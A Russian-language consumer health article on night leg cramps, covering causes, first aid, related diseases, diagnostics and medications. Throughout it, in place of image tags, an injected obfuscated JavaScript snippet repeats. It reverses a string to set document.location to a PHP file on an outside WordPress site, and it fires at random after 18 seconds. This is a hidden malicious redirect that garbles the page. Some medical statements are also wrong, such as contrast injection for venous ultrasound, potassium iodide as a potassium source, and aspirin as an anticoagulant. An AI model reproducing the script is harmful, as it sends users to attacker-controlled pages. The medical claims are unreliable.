Причины возникновения ночных судорог в ногах и эффективные методы их устранения

Ночные судороги в ногах могут возникать в разном возрасте и значительно осложнять жизнь человека. Причины могут быть безобидными, однако в некоторых случаях спровоцировать подобную симптоматику способны заболевания и серьёзные нарушения в работе организма, требующие своевременного обращения к врачу и комплексного лечения.

Как проявляются судороги по ночам

Судороги в области ног — это неконтролируемые сокращения мышц (спазмы), которые охватывают чаще всего заднюю поверхность голени. В ночное время такой симптом возникает внезапно, когда человек уже спит. Спазм мышцы проявляется в виде интенсивной боли, при этом пальцы на ногах могут резко выпрямляться, а также ощущается стянутость в области голеностопа. Судорога может продолжаться в течение 10 секунд или же длится минуту и более.

При этом любое движение ногой и попытка изменить положение сустава усиливают болевые ощущения. Спазм может возникать практически каждую ночь, доставляя массу дискомфорта пациенту. Лёгкое растирание голени позволяет уменьшить боль, однако такое действие проблему не устраняет.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5be3e22eaebe6.jpg» alt=»Икроножная мышца» width=»710″ height=»470″ /> Судороги в ногах проявляются спазмированием икроножной мышцы

Судорожные состояния в нижних конечностях чаще всего возникают у лиц старше 50–60 лет, однако могут появляться и в более раннем возрасте при воздействии различных провоцирующих факторов. Чем менее подвижный образ жизни ведёт человек, тем выше вероятность спазмирования мышц ног.

При возникновении судороги происходит ишемия тканей. При этом в мышцу не поступает достаточное количество кислорода с током крови. Нарушается нервная проводимость, в результате чего появляется резкая боль. Отличительной чертой судороги считается невозможность расслабить ногу. В нормальном состоянии мышца легко поддаётся релаксации, но при ишемии хоть как-то избавиться от спазма не представляется возможным.

Почему возникает спазм мышц и что с этим делать — видео

Виды ночных судорог

Разновидности ночных судорог ног:

1. По характеру провоцирующего фактора выделяют:
   • тонические — ишемия тканей мышцы возникает при нарушении кровотока вследствие сидения в неудобной позе;
   • клонические — появляются при резком вытягивании мышцы, чаще всего такие спазмы продолжаются несколько секунд.
2. По охвату мышечной ткани:
   • локализованные — судороги охватывают только одну мышечную группу;
   • генерализованные — спазмы возникают сразу в нескольких группах мышц.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5be3e61a5d05d-728×382.jpg» alt=»Судорога в ноге» width=»728″ height=»382″ /> Судорога в ноге может охватывать одну или несколько мышц

Интересный факт: курильщик сталкивается с ночными спазмами в области икроножных мышц в 5 раз чаще, чем человек, воздерживающийся от табака, что обусловлено негативным влиянием сигарет на проводимость нервных импульсов.

Безобидные провоцирующие факторы

Спровоцировать ночные судороги в конечностях может длительное пребывание в положении сидя или стоя. При этом нарушается кровообращение в ногах, что повышает риск появления спазма. Стать причиной возникновения болезненного симптома может значительная потеря жидкости. Такое часто происходит в летнее время, когда человек много потеет, но при этом потребляет недостаточное количество воды.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5be3e81a5a453-728×485.jpg» alt=»Офисный работник» width=»728″ height=»485″ /> Офисные работники, часто пребывающие в положении сидя, могут столкнуться с ночными судорогами в области ног

Спровоцировать судороги способна нехватка таких важных элементов, как магний и калий, отвечающих за полноценную работу мышечного аппарата. Стать причиной дефицита может приём мочегонных медикаментов, статинов (препаратов, снижающих холестерин), а также применение ингаляторов, устраняющих бронхоспазм.

Ещё одним фактором возникновения данного симптома является ношение тесной обуви на высоких каблуках, что провоцирует нарушение нормального кровообращения в ногах. Способствовать появлению спазма в ночное время может и интоксикация организма алкогольсодержащими напитками.

По данным статистики, женщины сталкиваются с судорогами в ночное время чаще мужчин, что обусловлено пристрастием к обуви на высоком каблуке, а также слабым мышечным аппаратом.

Спазм икроножных мышц, который возник у меня несколько лет назад, связываю с ношением высоких каблуков. При этом стопа была зажата, к концу дня ноги отекали и ощущался дискомфорт. Начала обращать внимание на то, что симптомы с каждым разом усиливаются, а судороги возникают в самый неожиданный момент, мешая нормальной жизни. Решила, помимо основных методов лечения, сменить обувь на более удобную. Результат не заставил себя долго ждать. Ноги к концу дня прекратили «гудеть», а судороги устранились.

Методы первой помощи и профилактики

Если симптом спровоцирован длительным пребыванием в одном положении, то в данном случае рекомендуется мягко помассировать конечность, согнуть и разогнуть её. При этом кровоток постепенно восстановится и спазм пройдёт. Для профилактики появления проблемы у лиц, чья работа связана с постоянным сидением или стоянием, рекомендуется в конце дня 10–15 минут полежать на диване с приподнятыми ногами. Также следует прибегать к контрастному обливанию (чередование тёплой и прохладной воды) конечностей.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5be3ebd31493a.jpg» alt=»Положение лёжа с приподнятыми ногами» width=»600″ height=»400″ /> Для профилактики возникновения ночных спазмов рекомендуется в конце дня 10–15 минут пребывать в положении лёжа с приподнятыми ногами

Спазм, возникающий при значительной потере жидкости, можно устранить с помощью растирания. Для этого необходимо смочить полотенце в холодной воде и мягко массажировать им икроножную мышцу. Делать это нужно аккуратно, иначе болевые ощущения могут усилиться. Для профилактики повторного возникновения проблемы рекомендуется пить больше воды в период активного потоотделения. Количество жидкости нужно доводить до 2–2,5 л.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5be403cd0d565-728×484.jpg» alt=»Вода» width=»728″ height=»484″ /> Чтобы снизить вероятность возникновения судорог, необходимо употреблять достаточное количество воды

Если причиной проблемы является дефицит магния и калия, то рекомендуется употреблять продукты, содержащие эти важные элементы. К ним можно отнести:

• курагу;
• фасоль;
• горох;
• миндаль;
• чечевицу;
• тыкву.

При постоянной терапии статинами, мочегонными препаратами и медикаментами для лечения бронхиальной астмы рекомендуется дополнительный приём средств, восполняющих дефицит магния и калия. Для этих целей врачи назначают: Калия йодид, Аспаркам, Панангин, Магнелис, Магне В6 и др.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5be405a225cde-728×485.jpg» alt=»Магне В6″ width=»728″ height=»485″ /> Магне В6 часто назначают при судорогах

Если провоцирующим фактором является ношение тесной обуви, то в первую очередь необходимо приобрести специальные ортопедические стельки и подобрать удобную колодку. Кроме того, важен ежедневный массаж икр. При возникновении судороги необходимо постараться расслабить ногу и слегка подтянуть стопу на себя за пальцы. В этом случае спазм проходит быстрее и боль становится менее интенсивной.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5be407046830e.jpg» alt=»Судорога» width=»628″ height=»720″ /> Если возникает судорога в ноге, то необходимо подтянуть стопу по направлению к себе

Дополнительные меры профилактики:

1. Не злоупотреблять табаком и алкоголем.
2. Не принимать мочегонные препараты без назначения врача.
3. Носить удобную обувь.
4. Правильно питаться.
5. Больше двигаться и заниматься спортом.

Интересный факт: с судорожными состояниями нижних конечностей в ночное время чаще всего сталкиваются люди с неуравновешенной психикой и те, кто подвержен стрессам и эмоциональным перегрузкам.

Одно время периодически возникали судороги в ногах. Появляться они могли во время сна и днём, если вдруг не так поставила стопу. Боли при этом были ужасные, пальцы на ноге чуть ли не переплетались. Пыталась расслабляться и массировать стопу, но это давало только временный результат. Решила пропить курс витаминов, так как подозревала у себя дефицит магния. Также стала регулярно делать разминку для нормализации кровообращения. Такой подход помог мне справиться с проблемой и уже несколько лет не сталкиваюсь с судорогами.

Первая помощь при спазмировании мышц — видео

Какие патологии могут спровоцировать судороги — таблица

Группа заболеваний	Название патологии	Локализация боли	Характер ощущений	Периодичность возникновения спазма	Длительность судороги	Дополнительные симптомы
Нервная система	Опухоли головного мозга	Охватывает всю икроножную мышцу и бедро.	Острая и режущая боль.	Регулярно	1 минута и более	тошнота; рвота; интенсивные головные боли; нарушения координации; скачки артериального давления; обмороки.
	Вегетососудистая дистония	По центру голени.	Ощущение сильного покалывания.	При нервных перенапряжениях	10–15 секунд	головокружения; потемнение в глазах; скачки артериального давления; тошнота; частые позывы к мочеиспусканию.
	Сотрясение мозга	Охватывает всю заднюю поверхность голени.	Ощущение натянутости мышцы резкая болезненность.	Регулярно	1 минута и более	интенсивные головные боли; головокружение; тошнота и рвота.
Эндокринная система	Сахарный диабет	Задняя поверхность икроножной мышцы и пальцы ног.	Чувствуется натяжение, а также острая боль, сопровождающаяся жжением.	Регулярно	15–30 секунд	частые позывы к мочеиспусканию; повышенный аппетит; сухость во рту; жажда; нарушения зрения; бессонница.
	Гипотиреоз	Область голеностопа и икроножной мышцы. Часто охватывает обе ноги.	Внезапная резкая боль.	Регулярно	10–15 секунд	слабость; сонливость; ухудшение состояния ногтей и волос; ухудшение памяти; отёчность.
Опорно-двигательный аппарат	Плоскостопие	Охватывает пальцы ног, свод стопы и икроножную мышцу. Может локализоваться в обеих конечностях.	Тянущая боль в области пальцев и ощущение покалывания в икроножной мышце.	После длительного пребывания в одном положении	10–15 секунд	дискомфорт в области стоп; нарушения походки.
	Растяжение мышц	Задняя поверхность голени и область под коленом.	Интенсивные болевые ощущения.	Проходит после заживления мышцы	10–15 секунд	боли в области мышц, усиливающиеся во время ходьбы; ощущение жжения в ноге.
Сердечно-сосудистая система	Варикозное расширение вен	Вся область ниже колена (сзади и спереди), включая голеностоп.	Ощущение распирания, натяжения и покалывания.	Регулярно	1 минута и более	тяжесть в ногах; боли в конечностях после длительного нахождения в вертикальном положении; выпячивание вен в области ног.
	Сердечная недостаточность	Задняя поверхность голени. Часто локализуется в обеих ногах.	Ощущение онемения в ноге, сменяющееся резкой болью.	Регулярно	1 минута и более	повышение давления; отёчность; одышка; кашель; холодный пот; боли в груди.
	Тромбофлебит	Вся икроножная мышца, в том числе голеностоп и пальцы ног.	Натяжение, чувство сведения и жжения.	Регулярно	1 минута и более	боль в ногах; повышение температуры тела; выпячивание вен; постоянная тяжесть в ногах; отёчность конечностей.

Методы диагностики

При регулярно повторяющихся судорогах может потребоваться консультация разных специалистов:

• терапевта;
• флеболога;
• хирурга;
• невролога.

Методы диагностики патологии:

1. УЗГД вен. Ультразвуковая диагностика позволяет выявить тромбофлебит и варикозную болезнь. При этом в вену вводят контрастное вещество для того, чтобы с помощью УЗИ проследить за характером кровотока.
2. Анализ крови. Позволяет выявить гипотиреоз, сахарный диабет и дефицит необходимых для работы мышц элементов. Для этого производят забор крови на гормоны щитовидной железы, глюкозу, а также на уровень калия и магния.
3. ЭКГ. Электрокардиограмма позволяет получить данные о работе сердечной мышцы, в том числе можно выявить функциональные нарушения. Метод не инвазивный и безболезненный, основанный на электропроводимости тканей.
4. МРТ. Применяют для определения таких причин судорог, как заболевания головного мозга. С помощью магниторезонансной томографии можно получить 3D снимки органа с разных проекций.

Судороги, которые возникают в ногах практически каждую ночь, требуют комплексной диагностики.

Методы диагностики, помогающие выявить причину судорог — фотогалерея

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»39071,39070,39069,39068″]

Терапевтическая тактика

Тактика лечения напрямую зависит от заболевания, провоцирующего судороги. В каких случаях нужно вызвать скорую и срочно обратиться к врачу:

• при возникновении давящей боли в области сердца;
• когда судорога не проходит в течение нескольких минут, но, наоборот, усиливается;
• если возникает одышка и резко подскакивает давление.

Облегчить спазм мышцы можно с помощью надавливания на специальные точки, находящиеся чуть ниже коленной ямки. Проводить манипуляцию нужно аккуратно. Надавливать следует большим пальцем руки 2–3 раза подряд. Первая точка находится под коленной впадиной, а вторая — на 2 см ниже. После воздействия нужно по максимуму расслабить мышцу. Затем надавить на третью точку, находящуюся на 2 см ниже второй. По окончании процедуры рекомендуется принять тёплую ванну, которая поможет окончательно устранить спазм.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5be42b0b126a4.jpg» alt=»3 точки ниже коленной впадины» width=»418″ height=»550″ /> Надавливание на 3 точки ниже коленной впадины позволяет снизить интенсивность боли

Препараты, которые применяют для лечения в зависимости от патологии:

1. Успокоительные: Новопассит, Персен и др. Назначают при ВСД и частых стрессах. Такие препараты, помимо успокоительного действия, способствуют расслаблению мышц.
2. Ноотропные: Пирацетам, Ноотропил и др. Применяют для улучшения кровообращения головного мозга при различных заболеваниях данного органа.
3. Инсулинсодержащие медикаменты: Хумалог, Протафан и т. д. Используют в том случае, когда причиной симптома является сахарный диабет. Препараты данного ряда контролируют уровень инсулина в крови.
4. Гормоны щитовидной железы: L-тироксин и др. Медикаменты данной линейки повышают уровень тиреоидных гормонов, тем самым улучшая работу эндокринной системы.
5. Нестероидные противовоспалительные: Диклофенак, Найз и др. Часто назначают в виде мазей. Такие препараты воздействуют на синтез простагландинов — гормонов, отвечающих за возникновение болевого синдрома.
6. Противосудорожные: Фенобарбитал, Клоназепам и др. Данные препараты способствуют расслаблению мышц, препятствуя их спазмированию.
7. Антикоагулянты: Аспирин, Гепарин и т. д. Способствуют разжижению крови, воздействуя на её свёртывающую способность. Медикаменты данной группы применяют при сердечных заболеваниях, а также при наличии тромбофлебита и варикоза.
8. Венотоники: Флебодиа, Детралекс и др. Назначают при варикозе и предрасположенности к нему. Данные препараты влияют на сосудистый тонус, препятствуя растяжению стенок вен.
9. Сердечные гликозиды: Дигоксин, Строфантин и др. Улучшают насосную функцию миокарда, повышают его сократимость. Назначают такие медикаменты при сердечной недостаточности.

Внимание! Все указанные медикаменты нельзя применять без предварительной консультации с врачом. Некоторые состояния, способствующие возникновению мышечных спазмов, не поддаются коррекции с помощью препаратов, но требуют обязательного лечения в условиях стационара.

Препараты, которые применяют в комплексном лечении — фотогалерея

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»39080,39079,39078,39077,39076,39075,39074,39073,39072″]

Что следует учесть

Многие люди пытаются устранить судороги с помощью народных средств, тем самым оттягивая лечение опасных патологий. Делать этого ни в коем случае нельзя. Если спазмы мышц ног по ночам возникают периодически, то рекомендуется обязательно обратиться к врачу.

Что ещё нужно учесть:

1. Постоянное возникновение онемения и распирания в области ног с последующим появлением судорог может свидетельствовать о серьёзных нарушениях в работе сердечно-сосудистой системы. В данном случае нужно обратиться к кардиологу.
2. Если никакие лекарства не помогают справиться с судорогой, но симптомы усиливаются, то необходимо незамедлительно обратиться за врачебной помощью.
3. Не следует самостоятельно корректировать дозировки назначаемых медикаментов даже при усилении болевого синдрома.
4. При сильных судорогах рекомендуется лечь на спину и постараться максимально расслабиться, делая глубокие вдохи и выдохи. В положении стоя спазм мышц усиливается.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5be43e65e16fe-728×364.jpg» alt=»Судорога икроножной мышцы» width=»728″ height=»364″ /> В положении стоя судорога икроножной мышцы усиливается

Внимание! Если спазмирование мышц происходит не только в ногах, но и других областях тела, то это может свидетельствовать о наличии поражения ЦНС.

Причины судорог в детском возрасте и во время беременности

В детском возрасте самопроизвольное сокращение мышц может быть спровоцировано врождёнными патологиями центральной нервной системы. При этом нарушается нормальное проведение импульса от мозга по нервам, что способствует появлению судорог в ночное время. У беременных женщин такая проблема возникает по причине дефицита кальция, калия и магния, так как все эти элементы расходуются на формирование органов и систем плода.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5be43fcc955f6-728×486.jpg» alt=»Беременность» width=»728″ height=»486″ /> Судороги часто возникают во время беременности

Ещё одной причиной спонтанного сокращения и спазмирования мышц может быть железодефицитная анемия. Такое патологическое состояние особенно характерно для беременных женщин и детей. Приём препаратов железа позволяет быстро избавиться от проблемы.

О появлении судорог во время беременности нужно вовремя оповестить врача, иначе дефицит тех или иных элементов повлияет не только на здоровье женщины, но и плода.

О чём говорят судороги — видео

Судороги всегда проявляются яркой болезненной симптоматикой и требуют неотложных мер. Причины могут быть разными, в том числе и опасными для здоровья человека. Поэтому важно выявить провоцирующий фактор и приступить к лечению основного заболевания, после чего спазмы в ночное время уже не будут больше беспокоить.